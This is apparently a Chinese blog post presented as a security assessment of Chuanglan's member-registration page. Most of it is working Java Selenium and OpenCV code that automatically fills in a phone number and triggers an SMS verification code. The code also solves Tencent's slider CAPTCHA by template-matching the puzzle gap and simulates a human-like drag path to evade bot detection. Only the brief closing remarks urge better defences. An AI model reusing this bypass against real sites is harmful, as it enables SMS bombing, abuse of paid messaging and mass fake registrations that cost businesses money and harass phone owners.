前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
- 暴力破解密码,造成用户信息泄露
- 短信盗刷的安全问题,影响业务及导致用户投诉
- 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
一、 创蓝云智会员注册入口
简介:上海创蓝云智信息科技股份有限公司(简称创蓝云智)成立于2011年,注册资金6000万,总部位于松江启迪漕河泾。主营产品是向企业客户提供以消息通信服务为基础,融合大数据、5G等技术的通信综合解决方案。
二、 安全性分析报告:
采用腾讯的智能验证,包含点击和滑动验证,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。
三、 测试方法:
前端界面分析,这是腾讯v2版本,特点是矩形缺口,滑块和其它图形混合在一起,需要做切割处理,智能版本为头几次直接过,无需滑动,我们采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分。
1. 模拟器交互部分
public RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();WebElement phoneElemet;try {driver.get(INDEX_URL);// 输入手机号phoneElemet = ChromeDriverManager.waitElement(driver, By.name("usename"), 500);phoneElemet.sendKeys(phone);Thread.sleep(1 * 1000);// 点击获取验证码WebElement clickElemet = driver.findElement(By.xpath("//span[contains(text(),'获取验证码')]"));clickElemet.click();// 判断是否已经发送WebElement msgElement = driver.findElement(By.tagName("button")).findElement(By.tagName("span"));String msg = (msgElement != null && msgElement.isDisplayed()) ? msgElement.getText() : null;if (msg != null && msg.contains("重新获取")) {retEntity.setMsg(msg);retEntity.setRet(0);return retEntity;}// 计算移动距离RetEntity ret = tencentClient.moveExec(driver);if (ret.getRet() == -1) {System.out.println("moveExec ret=" + ret);return null;}// send msg retThread.sleep(1000);msg = msgElement.getText();retEntity.setMsg(msg);// 验证码已发送,请关注手机短信,5分钟内有效if (msg != null && msg.contains("重新获取")) {retEntity.setRet(0);retEntity.setMsg("发送成功");} else {retEntity.setRet(-1);retEntity.setMsg("发送失败");System.out.println("msg=" + msg);}return retEntity;} catch (Throwable e) {StringBuffer er = new StringBuffer("send() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");logger.error(er.toString());System.out.println(er.toString());retEntity.setRet(-1);retEntity.setMsg(e.toString());return retEntity;}}
/*** v2 版本* * @param driver* @return*/public RetEntity moveExec(WebDriver driver) {File bFile = null;File sFile = null;RetEntity retEntity = new RetEntity();retEntity.setRet(-1);try {// 获取到验证区域WebElement iframe = ChromeDriverManager.waitElement(driver, By.id("tcaptcha_iframe_dy"), 100);if (iframe == null) {System.out.println("moveExec() tcaptcha_iframe|timeout!!!");retEntity.setRet(-99);retEntity.setMsg("tcaptcha_iframe|timeout!!");return retEntity;}driver.switchTo().frame(iframe);String bgUrl = null;System.out.println("get bgUrl begin ........");for (int i = 0; i < 10; i++) {// 获取带阴影的背景图WebElement wegSlideBg = ChromeDriverManager.waitElement(driver, By.id("slideBg"), 300);String cssValue = (wegSlideBg != null) ? wegSlideBg.getCssValue("background-image") : null;bgUrl = (cssValue != null && cssValue.contains("\"")) ? cssValue.split("\"")[1] : null;System.out.println(" |-i=" + i + ",bgUrl=" + bgUrl);if (bgUrl != null && bgUrl.length() > 0) {break;} else {sleep(500);}}// 获取带阴影的背景图if (bgUrl == null) {retEntity.setMsg("bgUrl=" + bgUrl);return retEntity;}Long time = System.currentTimeMillis();// 获取小图 URL (替换img_index=1为 img_index=0)String slUrl = bgUrl.replaceAll("img_index=1", "img_index=0");bFile = new File(dataPath + time + "-b.png");sFile = new File(dataPath + time + "-s.png");Map<String, byte[]> retMap = getTwoImg(driver, bgUrl, slUrl, bFile, sFile);if (retMap != null) {byte[] bigBytes = retMap.get("big");byte[] smallBytes = retMap.get("small");String distanceStr = null, width = null;String ckSum = GenChecksumUtil.genChecksum(bigBytes);String[] outArray = openCv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, "tencent_v2", 3);distanceStr = (outArray != null && outArray.length >= 2) ? outArray[1] : null;width = (outArray != null && outArray.length >= 2) ? outArray[0] : null;Double left = 27.0 * 672 / 340;// 起点距左边距离Double act = (Double.parseDouble(distanceStr) - left - Double.parseDouble(width)) * 340.0 / 672.0;Integer distance = act.intValue();System.out.println("moveExec() distance(" + distanceStr + ")=" + distance);if (distance == null || distance <= 0) {return retEntity;}WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.className("tc-slider-normal"), 500);sleep(500);// 滑动ActionMove.move(driver, moveElemet, distance);sleep(400);// 滑动结果String gtInfo = ChromeDriverManager.waitElement(driver, By.id("statusSuccess"), 100).getText();if (gtInfo == null || "".equals(gtInfo)) {sleep(200);gtInfo = ChromeDriverManager.waitElement(driver, By.id("statusError"), 100).getText();}System.out.println("moveExec() gtInfo=" + gtInfo);// driver.switchTo().frame(oldWin);if (gtInfo.contains("验证成功")) {retEntity.setRet(0);retEntity.setMsg("moveExec:" + gtInfo);} else if (gtInfo.contains("再试一次") || gtInfo.contains("恍惚了") || gtInfo.contains("半路丢了")) {retEntity.setRet(-1);retEntity.setMsg("失败");} else {retEntity.setMsg(gtInfo);}} else {logger.error("retMap=" + retMap);retEntity.setMsg("retMap=" + retMap);}// 切回主页面driver.switchTo().defaultContent();return retEntity;} catch (Exception e) {StringBuffer er = new StringBuffer("moveExec() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");logger.error(er.toString());System.out.println(er.toString());retEntity.setRet(-99);retEntity.setMsg(er.toString());return retEntity;} finally {if (retEntity.getRet() == 0) {System.out.println("moveExec() del file...");if (bFile != null)bFile.delete();if (sFile != null)sFile.delete();}}
2. 距离识别
/*** * @param ckSum* @param bigBytes* @param smallBytes* @param factory* @return { width, maxX }*/public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {try {String basePath = ConstTable.codePath + factory + "/";File baseFile = new File(basePath);if (!baseFile.isDirectory()) {baseFile.mkdirs();}// 小图文件File smallFile = new File(basePath + ckSum + "_s.png");FileUtils.writeByteArrayToFile(smallFile, smallBytes);// 大图文件File bigFile = new File(basePath + ckSum + "_b.png");FileUtils.writeByteArrayToFile(bigFile, bigBytes);// 边框清理(去干扰)byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;File tpFile = new File(basePath + ckSum + "_t.png");FileUtils.writeByteArrayToFile(tpFile, clearBoder);String resultFile = basePath + ckSum + "_o.png";return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);} catch (Throwable e) {logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}/*** Open Cv 图片模板匹配* * @param tpPath* 模板图片路径* @param bgPath* 目标图片路径* @return { width, maxX }*/private String[] getWidth(String tpPath, String bgPath, String resultFile) {try {Rect rectCrop = clearWhite(tpPath);Mat g_tem = Imgcodecs.imread(tpPath);Mat clearMat = g_tem.submat(rectCrop);Mat cvt = new Mat();Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);Mat edgesSlide = new Mat();Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);Mat cvtSlide = new Mat();Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);Imgcodecs.imwrite(tpPath, cvtSlide);Mat g_b = Imgcodecs.imread(bgPath);Mat edgesBg = new Mat();Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);Mat cvtBg = new Mat();Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法// 归一化相关匹配法MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);Point maxLoc = minMaxLoc.maxLoc;Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);Imgcodecs.imwrite(resultFile, cvtBg);String width = String.valueOf(cvtSlide.cols());String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);return new String[] { width, maxX };} catch (Throwable e) {System.out.println("getWidth() " + e.toString());logger.error("getWidth() " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}
3. 轨道生成及移动算法
/*** 根据距离获取滑动轨迹* * @param distance需要移动的距离* @return*/public static List<Integer> getTrack(int distance) {List<Integer> track = new ArrayList<Integer>();// 移动轨迹List<Integer[]> list = getXyTrack(distance);for (Integer[] m : list) {track.add(m[0]);}return track;}/*** 双轴轨道生成算法,主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}/*** 模拟人工移动* * @param driver* @param element页面滑块* @param distance需要移动距离* @throws InterruptedException*/public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {List<Integer[]> track = getXyTrack(distance);if (track == null || track.size() < 1) {System.out.println("move() track=" + track);}int moveY, moveX;StringBuffer sb = new StringBuffer();try {Actions actions = new Actions(driver);actions.clickAndHold(element).perform();Thread.sleep(20);long begin, cost;Integer[] move;int sum = 0;for (int i = 0; i < track.size(); i++) {begin = System.currentTimeMillis();move = track.get(i);moveX = move[0];sum += moveX;moveY = move[1];if (moveX < 0) {if (sb.length() > 0) {sb.append(",");}sb.append(moveX);}actions.moveByOffset(moveX, moveY).perform();cost = System.currentTimeMillis() - begin;if (cost < 3) {Thread.sleep(3 - cost);}}if (sb.length() > 0) {System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);}Thread.sleep(180);actions.release(element).perform();Thread.sleep(500);} catch (Exception e) {StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");logger.error(er.toString());System.out.println(er.toString());}}
4. OpenCv 轮廓匹配测试样例:
四丶结语
创蓝云智作为行业实力雄厚的高科技企业, 采用的是通俗的滑动验证产品, 该产品稳定并且市场占有率很高, 在一定程度上提高了用户体验, 但安全性在机器学习的今天, 已经无法应对攻击了,并且正是由于该产品通俗, 所以在网上破解的文章和教学视频也是大量存在,并且经过验证滑动产品很容易被破解, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
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